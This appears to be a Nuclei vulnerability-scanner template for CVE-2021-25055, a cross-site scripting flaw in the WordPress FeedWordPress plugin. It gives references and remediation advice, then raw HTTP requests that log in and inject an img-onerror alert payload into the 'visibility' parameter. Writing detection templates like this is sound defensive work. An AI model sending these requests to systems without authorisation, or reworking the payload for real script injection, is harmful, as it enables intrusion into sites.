nuclei-templates/http/cves/2021/CVE-2021-25055.yaml

63 lines
2.0 KiB
YAML

id: CVE-2021-25055
info:
name: WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
The plugin is affected by a cross-site scripting vulnerability within the "visibility" parameter.
remediation: |
Update to the latest version of the FeedWordPress plugin (version 2022.0123 or higher) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055
- https://plugins.trac.wordpress.org/changeset/2662665
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25055
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.40951
cpe: cpe:2.3:a:feedwordpress_project:feedwordpress:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: feedwordpress_project
product: feedwordpress
framework: wordpress
tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated,wpscan
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=1 onerror=alert(document.domain)>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402204be6390e65bb61ebea21be6c2d6512afc1184fb86813a74c4d9a5f586391cddd02206833cec39eb5244a2fa0a0a1059f95f9716e919fe0f3be9afe339e63b51af421:922c64590222798bb761d5b6d8e72950